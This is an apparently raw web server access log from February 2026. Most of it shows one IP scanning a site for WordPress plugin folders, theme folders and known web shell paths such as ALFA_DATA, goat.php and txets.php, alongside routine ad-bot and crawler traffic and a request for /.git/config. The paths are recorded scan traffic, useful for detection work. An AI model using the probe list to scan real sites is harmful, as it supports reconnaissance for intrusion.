[10/Feb/2026:13:55:46 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 104.243.245.7 - - [10/Feb/2026:13:55:46 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:46 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:47 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:47 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:47 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:47 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 104.243.245.7 - - [10/Feb/2026:13:55:48 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:48 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:48 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:48 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:49 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:49 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:49 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 104.243.245.7 - - [10/Feb/2026:13:55:49 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:50 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:50 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:50 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:50 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:51 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:51 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:51 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:51 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 104.243.245.7 - - [10/Feb/2026:13:55:52 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:52 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:52 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 104.243.245.7 - - [10/Feb/2026:13:55:52 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:53 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:53 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:53 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:53 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:54 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:54 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:54 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:54 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:55 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:55 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:55 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:55 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:56 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:56 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:56 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 104.243.245.7 - - [10/Feb/2026:13:55:56 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:57 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 104.243.245.7 - - [10/Feb/2026:13:55:57 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:04 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 104.243.245.7 - - [10/Feb/2026:13:55:05 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:05 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:05 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:55:05 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 104.243.245.7 - - [10/Feb/2026:13:55:06 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:06 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 104.243.245.7 - - [10/Feb/2026:13:55:06 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 104.243.245.7 - - [10/Feb/2026:13:55:06 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:07 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:07 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 104.243.245.7 - - [10/Feb/2026:13:55:07 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 74.125.210.141 - - [10/Feb/2026:14:33:23 +0300] "GET /?gclid=1184320943 HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Mozilla/5.0, Google-AdWords-Express) Chrome/143.0.7499.192 Safari/537.36" 66.249.88.163 - - [10/Feb/2026:14:34:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.141 - - [10/Feb/2026:14:34:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 66.249.88.165 - - [10/Feb/2026:14:32:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:33:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:33:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:32:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:32:42 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:32:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.165 - - [10/Feb/2026:14:33:23 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.165 - - [10/Feb/2026:14:33:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.128 - - [10/Feb/2026:14:36:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.128 - - [10/Feb/2026:14:37:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 199.45.154.157 - - [10/Feb/2026:15:01:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 66.249.88.164 - - [10/Feb/2026:14:33:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.164 - - [10/Feb/2026:14:33:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.164 - - [10/Feb/2026:14:33:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:33:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:33:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.165 - - [10/Feb/2026:14:33:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.164 - - [10/Feb/2026:14:34:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.128 - - [10/Feb/2026:14:34:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.129 - - [10/Feb/2026:14:34:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.128 - - [10/Feb/2026:14:37:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.164 - - [10/Feb/2026:14:33:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.164 - - [10/Feb/2026:14:33:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:33:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.129 - - [10/Feb/2026:14:37:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 66.249.88.163 - - [10/Feb/2026:14:33:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.210.141 - - [10/Feb/2026:14:33:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 74.125.210.142 - - [10/Feb/2026:14:34:08 +0300] "GET /?gclid=1598259884 HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Mozilla/5.0, Google-AdWords-Express) Chrome/143.0.7499.192 Safari/537.36" 74.125.215.128 - - [10/Feb/2026:14:34:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 74.125.215.141 - - [10/Feb/2026:14:34:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Google-Adwords-Instant (+http://www.google.com/adsbot.html)" 106.63.1.8 - - [10/Feb/2026:14:23:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 66.249.88.164 - - [10/Feb/2026:14:33:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 199.244.88.223 - - [10/Feb/2026:14:57:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 149.56.160.251 - - [10/Feb/2026:14:07:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Dataprovider.com)" 144.217.135.223 - - [10/Feb/2026:14:08:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Dataprovider.com)" 74.125.210.141 - - [10/Feb/2026:14:32:38 +0300] "GET /?gclid=95146761 HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Mozilla/5.0, Google-AdWords-Express) Chrome/144.0.7559.109 Safari/537.36" 74.125.210.141 - - [10/Feb/2026:14:34:04 +0300] "GET /?gclid=1392465921 HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; Mozilla/5.0, Google-AdWords-Express) Chrome/143.0.7499.192 Safari/537.36" 74.125.215.129 - - [10/Feb/2026:14:34:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P; Google-AdWords-Express) AppleWebKit/[WEBKIT_VERSION] (KHTML, like Gecko) Chrome/[CHROME_VERSION] Mobile Safari/[WEBKIT_VERSION]" 59.153.100.98 - - [10/Feb/2026:15:30:44 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 64.225.55.49 - - [10/Feb/2026:15:44:10 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 69.171.231.23 - - [10/Feb/2026:16:11:09 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 44.248.159.111 - - [10/Feb/2026:16:16:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.157.38.228 - - [10/Feb/2026:16:31:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 203.159.90.209 - - [10/Feb/2026:17:02:19 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.227 - - [10/Feb/2026:16:48:49 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:19 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:19 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 203.159.90.209 - - [10/Feb/2026:17:02:19 